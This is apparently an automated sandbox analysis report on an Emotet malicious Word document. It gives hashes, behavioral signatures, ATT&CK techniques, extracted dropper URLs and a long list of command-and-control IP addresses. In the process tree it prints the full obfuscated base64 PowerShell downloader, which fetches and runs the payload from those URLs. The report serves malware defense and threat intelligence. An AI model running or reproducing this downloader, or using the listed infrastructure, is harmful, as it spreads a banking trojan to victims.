emotet | 663930eb12ff6afb8cd3d0410fcef8fa32edf4964504e10f0cd56af546b0ecb2

Analysis

max time kernel
147s
max time network
149s
platform
windows10_x64
resource
win10v200722
submitted
21/10/2020, 00:47

Sharing

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General

Target
INV_1288.doc
Size 176KB
Sample201021-j573vgvees
SHA256 663930eb12ff6afb8cd3d0410fcef8fa32edf4964504e10f0cd56af546b0ecb2
MD5 0e3e623138b291cfdf9909759a61e66a
SHA1 02725fd4908df48cb50d0ff23be9313889ca5ea6
SHA512 4017569b562f25298a749a3def036da669163abe233a7e6cf685609c1e2b5d32e623f684ee00b34923602c193db037ef6f0466439a6392d27271e45983cbacd1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://luofox.com/wp-admin/fpTWdJzQR/
exe.dropper
http://supplementhouse.net/tws-airpods/MTB/
exe.dropper
http://genyomalhas.com.br/PHPMailer/VjGT9xw6sS/
exe.dropper
http://brasilcacambas.com.br/F0xAutoConfig/Vh7GMuok0/
exe.dropper
http://datawyse.net/cgi-bin/GmZVCzJl/
exe.dropper
http://greensync.com.br/aspnet_clientOld/v/
exe.dropper
https://giacimenti.wine/wp-includes/RisF/

Extracted

Family

emotet

Botnet

Epoch3

5.2.246.108:80
91.121.87.90:8080
104.131.144.215:8080
188.226.165.170:8080
153.229.219.1:443
192.241.220.183:8080
41.76.213.144:8080
116.202.10.123:8080
178.33.167.120:8080
77.74.78.80:443
60.108.128.186:80
37.205.9.252:7080
119.92.77.17:80
109.206.139.119:80
185.63.32.149:80
190.85.46.52:7080
223.17.215.76:80
162.144.145.58:8080
139.59.61.215:443
179.5.118.12:80
37.187.100.220:7080
202.29.237.113:8080
2.58.16.86:8080
113.161.148.81:80
91.83.93.103:443
198.20.228.9:8080
118.243.83.70:80
172.96.190.154:8080
103.229.73.17:8080
47.154.85.229:80
120.51.34.254:80
143.95.101.72:8080
94.212.52.40:80
74.208.173.91:8080
50.116.78.109:8080
185.208.226.142:8080
110.37.224.243:80
91.213.106.100:8080
200.243.153.66:80
190.151.5.131:443
195.201.56.70:8080
116.91.240.96:80
188.40.170.197:80
177.130.51.198:80
45.239.204.100:80
126.126.139.26:443
118.33.121.37:80
85.75.49.113:80
113.203.238.130:80
82.78.179.117:443
78.186.65.230:80
139.59.12.63:8080
5.79.70.250:8080
75.127.14.170:8080
73.100.19.104:80
172.193.79.237:80
51.38.50.144:8080
190.194.12.132:80
43.255.175.197:80
125.200.20.233:80
41.185.29.128:8080
8.4.9.137:8080
79.133.6.236:8080
175.103.38.146:80
172.105.78.244:8080
36.91.44.183:80
213.165.178.214:80
188.166.220.180:7080
54.38.143.245:8080
212.198.71.39:80
121.117.147.153:443
88.247.58.26:80
109.13.179.195:80
113.193.239.51:443
103.80.51.61:8080
86.123.55.0:80
180.21.3.52:80
190.192.39.136:80
203.56.191.129:8080
91.75.75.46:80
185.142.236.163:443
190.55.186.229:80
157.7.164.178:8081
190.117.101.56:80
185.80.172.199:80
73.55.128.120:80
180.23.53.200:80
46.105.131.68:8080
95.76.142.243:80
37.46.129.215:8080
180.148.4.130:8080
192.163.221.191:8080
190.164.135.81:80
103.93.220.182:80
123.216.134.52:80
203.153.216.178:7080
58.27.215.3:8080
42.200.96.63:80
115.79.195.246:80
46.32.229.152:8080
115.79.59.157:80
192.210.217.94:8080
221.147.142.214:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3800	3944	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3980-14-0x00000000022F0000-0x0000000002308000-memory.dmp	emotet
behavioral2/memory/3980-13-0x00000000022C0000-0x00000000022D9000-memory.dmp	emotet
behavioral2/memory/3872-17-0x0000000002290000-0x00000000022A9000-memory.dmp	emotet
behavioral2/memory/3872-18-0x00000000022B0000-0x00000000022C8000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
30	3800	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3980	Xfe7a3xdc.exe
3872	expand.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wiadefui\expand.exe	Xfe7a3xdc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
3800	POwersheLL.exe
3800	POwersheLL.exe
3800	POwersheLL.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe
3872	expand.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3800	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
3980	Xfe7a3xdc.exe
3872	expand.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3980 wrote to memory of 3872	3980	Xfe7a3xdc.exe	83
PID 3980 wrote to memory of 3872	3980	Xfe7a3xdc.exe	83
PID 3980 wrote to memory of 3872	3980	Xfe7a3xdc.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INV_1288.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:408

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABMADQAdgA9ACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMwB9AHsANQB9AHsANAB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAFkAcwBUACcALAAnAFkAJwAsACcAUgAnACwAJwBFAE0ALgAnACwAJwBPAC4ARABpAHIARQBDAFQATwAnACwAJwBJACcAKQAgADsAIABTAGUAdAAgACAAKAAiAFoANwAiACsAIgAyADAAIgApACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AewAzAH0AewA4AH0AewA3AH0AewA1AH0AIgAtAGYAJwBFAE0ALgAnACwAJwBuAEUAdAAnACwAJwAuAFMARQByAFYAaQAnACwAJwBvAEkAJwAsACcAcwB5AFMAVAAnACwAJwBlAHIAJwAsACcAYwBFAHAAJwAsACcATQBBAG4AQQBHACcALAAnAE4AdAAnACkAIAAgACkAIAAgADsAIAAkAE8ANAAxAGMAeQA2ADcAPQAoACcAVQAnACsAJwBvAHkAJwArACgAJwBkAGEAJwArACcAZABzACcAKQApADsAJABMAGMAYgBsADUAcgA2AD0AJABIAF8AdQA4ADQAOQBfACAAKwAgAFsAYwBoAGEAcgBdACgAMQAgACsAIAAxACAAKwAgADIAMAAgACsAIAAxADAAIAArACAAMQAwACkAIAArACAAJABZADkAdQB2AHcAcQB3ADsAJABRAGYAMwBiADMAMwB1AD0AKAAnAE8AMQAnACsAKAAnAGEAegBfAGQAJwArACcAYQAnACkAKQA7ACAAIAAoAHYAQQByAEkAYQBiAEwARQAgACAAKAAiAGwANAAiACsAIgBWACIAKQAgACAALQB2AGEATAB1AEUAbwBuACkAOgA6ACIAQwBSAGUAYABBAFQAZQBEAEkAUgBFAGAAYwB0AG8AUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAMAB9AFQAcQBfADUAZAB5ACcAKwAnAGgAJwArACcAewAwAH0AJwArACgAJwBNADAAJwArACcAbAAxACcAKQArACcANQAnACsAJwB5AHEAewAwACcAKwAnAH0AJwApAC0AZgAgACAAWwBDAGgAQQBSAF0AOQAyACkAKQA7ACQATAAyAHAANQBlAHQAYwA9ACgAKAAnAFUAMAAnACsAJwBmACcAKQArACgAJwAyAGwAJwArACcAbAAnACkAKwAnAHkAJwApADsAIAAgACgAIABMAHMAIAAgACgAIgB2AGEAcgBpAGEAYgAiACsAIgBsAEUAOgBaACIAKwAiADcAMgAiACsAIgAwACIAKQApAC4AdgBBAEwAdQBlADoAOgAiAFMAZQBDAFUAcgBgAEkAYABUAHkAcABgAFIAbwBgAFQAbwBgAGMATwBsACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAMQAnACkAKwAnADIAJwApADsAJABVADgAcgA2AGwAcgA0AD0AKAAoACcATAB5ACcAKwAnAG0AZAA4AGsAJwApACsAJwAzACcAKQA7ACQASwBlADAAYgB0ADkAZgAgAD0AIAAoACgAJwBYACcAKwAnAGYAZQAnACkAKwAnADcAJwArACgAJwBhACcAKwAnADMAeABkAGMAJwApACkAOwAkAEYANAB4ADUAdgBqAGIAPQAoACcAWABkACcAKwAnAHgAJwArACgAJwBmAGMAXwAnACsAJwA5ACcAKQApADsAJABLAHEAZwBfADEAdABoAD0AKAAoACcAVgAnACsAJwBmAGgAJwApACsAJwA0AG0AJwArACcAYgBrACcAKQA7ACQAQQBlAGkAbABuADQAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBYACcAKwAoACcARABFAFQAJwArACcAcQAnACkAKwAnAF8ANQAnACsAJwBkACcAKwAoACcAeQBoAFgARABFAE0AJwArACcAMAAnACkAKwAoACcAbAAxADUAJwArACcAeQBxAFgARAAnACsAJwBFACcAKQApAC4AIgBSAGAARQBQAEwAQQBgAEMAZQAiACgAKABbAEMASABhAHIAXQA4ADgAKwBbAEMASABhAHIAXQA2ADgAKwBbAEMASABhAHIAXQA2ADkAKQAsAFsAUwB0AFIASQBuAEcAXQBbAEMASABhAHIAXQA5ADIAKQApACsAJABLAGUAMABiAHQAOQBmACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVQBnAGoAXwA3AHcAYwA9ACgAKAAnAEIAaQBvACcAKwAnAHkAaAAnACkAKwAnADIAYwAnACkAOwAkAEMANwBrAG0ANQBjAF8APQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBMAEkARQBuAHQAOwAkAFIAbAA3AGUAaAB4ADcAPQAoACcAaAAnACsAKAAnAHQAJwArACcAdABwAHMAOgAnACkAKwAnAC8ALwAnACsAJwBsAHUAJwArACcAbwBmACcAKwAnAG8AJwArACgAJwB4ACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAJwApACsAKAAnAG0AaQBuACcAKwAnAC8AZgBwAFQAJwApACsAKAAnAFcAJwArACcAZAAnACsAJwBKAHoAUQBSAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAcwB1ACcAKQArACcAcAAnACsAJwBwACcAKwAnAGwAZQAnACsAJwBtAGUAJwArACgAJwBuAHQAJwArACcAaAAnACkAKwAoACcAbwB1AHMAJwArACcAZQAnACkAKwAoACcALgAnACsAJwBuAGUAJwApACsAKAAnAHQAJwArACcALwB0AHcAJwApACsAKAAnAHMALQBhACcAKwAnAGkAJwApACsAKAAnAHIAcAAnACsAJwBvAGQAJwArACcAcwAvAE0AVABCAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBnACcAKwAnAGUAbgAnACkAKwAoACcAeQBvAG0AYQAnACsAJwBsACcAKQArACcAaAAnACsAJwBhAHMAJwArACcALgAnACsAJwBjACcAKwAnAG8AJwArACgAJwBtACcAKwAnAC4AYgByAC8AJwArACcAUABIAFAAJwApACsAKAAnAE0AJwArACcAYQBpAGwAZQAnACkAKwAoACcAcgAvACcAKwAnAFYAJwApACsAJwBqACcAKwAoACcARwAnACsAJwBUADkAJwApACsAJwB4ACcAKwAnAHcAJwArACcANgAnACsAJwBzACcAKwAoACcAUwAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAnACsAJwAvAGIAJwArACgAJwByAGEAJwArACcAcwAnACkAKwAnAGkAbAAnACsAKAAnAGMAYQAnACsAJwBjAGEAbQBiAGEAcwAuACcAKwAnAGMAbwAnACsAJwBtAC4AYgAnACkAKwAoACcAcgAnACsAJwAvAEYAMAB4ACcAKwAnAEEAdQB0AG8AJwApACsAKAAnAEMAbwBuACcAKwAnAGYAaQBnACcAKQArACcALwAnACsAKAAnAFYAaAA3AEcAJwArACcATQAnACsAJwB1ACcAKQArACgAJwBvAGsAJwArACcAMAAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAGQAJwApACsAJwBhACcAKwAoACcAdABhACcAKwAnAHcAJwArACcAeQBzAGUALgBuAGUAdAAvAGMAZwAnACkAKwAnAGkALQAnACsAJwBiACcAKwAnAGkAbgAnACsAJwAvACcAKwAoACcARwBtACcAKwAnAFoAJwApACsAJwBWAEMAJwArACcAegAnACsAKAAnAEoAbAAnACsAJwAvACcAKQArACcAKgAnACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAnACkAKwAnAC8AJwArACgAJwAvAGcAJwArACcAcgAnACkAKwAnAGUAJwArACgAJwBlACcAKwAnAG4AcwB5AG4AYwAnACsAJwAuAGMAJwArACcAbwBtAC4AYgByACcAKQArACgAJwAvAGEAcwAnACsAJwBwACcAKwAnAG4AZQB0AF8AJwArACcAYwBsAGkAZQBuAHQATwAnACkAKwAoACcAbABkAC8AdgAvACoAJwArACcAaAAnACkAKwAnAHQAdAAnACsAJwBwACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwBnACcAKQArACcAaQAnACsAKAAnAGEAYwAnACsAJwBpACcAKQArACcAbQBlACcAKwAoACcAbgB0AGkAJwArACcALgB3AGkAbgBlACcAKwAnAC8AJwArACcAdwAnACsAJwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKQArACcAZQAnACsAJwBzACcAKwAoACcALwBSAGkAJwArACcAcwBGAC8AJwApACkALgAiAHMAcABsAGAAaQB0ACIAKAAkAFkAZABuAGcAOABkAHEAIAArACAAJABMAGMAYgBsADUAcgA2ACAAKwAgACQAUABsADAAcABjAGkAbQApADsAJABWAGoAbwA4ADEAMABiAD0AKAAnAEoAJwArACcAZAAnACsAKAAnADgAcgBmAHQAJwArACcAZQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgAwADUAYwBmAGIAbwAgAGkAbgAgACQAUgBsADcAZQBoAHgANwApAHsAdAByAHkAewAkAEMANwBrAG0ANQBjAF8ALgAiAGQAYABvAHcATgBMAGAAbwBBAGQAZgBpAGAATABlACIAKAAkAEYAMAA1AGMAZgBiAG8ALAAgACQAQQBlAGkAbABuADQAMgApADsAJABDAGIANwBpAHkAZAByAD0AKAAoACcAVAB1ACcAKwAnAG8AJwApACsAKAAnAHUAJwArACcAeQB5AGIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQQBlAGkAbABuADQAMgApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQANgA5ADEAMAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwAnACsAJwBpAG4AJwApACsAKAAnADMAJwArACcAMgBfAFAAJwApACsAJwByAG8AJwArACgAJwBjACcAKwAnAGUAcwBzACcAKQApACkALgAiAGMAcgBFAGEAYABUAEUAIgAoACQAQQBlAGkAbABuADQAMgApADsAJABOADYAOQBuAGcAcABfAD0AKAAoACcAUAA0ACcAKwAnADUAJwApACsAKAAnAGcAMAAnACsAJwB1AGQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFcAbQBhAG0AZQBoADEAPQAoACgAJwBTAGYAJwArACcAZgB1ACcAKQArACgAJwByAGUAJwArACcAMQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgB2AHcAeQBnADEAOAA9ACgAKAAnAFgAZgAnACsAJwBkAGwAJwApACsAJwB5ACcAKwAnAHMAMwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3800

C:\Users\Admin\Tq_5dyh\M0l15yq\Xfe7a3xdc.exe
C:\Users\Admin\Tq_5dyh\M0l15yq\Xfe7a3xdc.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3980
- C:\Windows\SysWOW64\wiadefui\expand.exe
  "C:\Windows\SysWOW64\wiadefui\expand.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/408-4-0x0000023FAA660000-0x0000023FAA72E000-memory.dmp

Download

memory/408-0-0x00007FF9D72B0000-0x00007FF9D7976000-memory.dmp

Download

memory/3800-9-0x0000027F55750000-0x0000027F55751000-memory.dmp

Download

memory/3800-10-0x0000027F55900000-0x0000027F55901000-memory.dmp

Download

memory/3800-8-0x00007FF9CFCA0000-0x00007FF9D068C000-memory.dmp

Download

memory/3872-17-0x0000000002290000-0x00000000022A9000-memory.dmp

Download

memory/3872-18-0x00000000022B0000-0x00000000022C8000-memory.dmp

Download

memory/3980-14-0x00000000022F0000-0x0000000002308000-memory.dmp

Download

memory/3980-13-0x00000000022C0000-0x00000000022D9000-memory.dmp

Download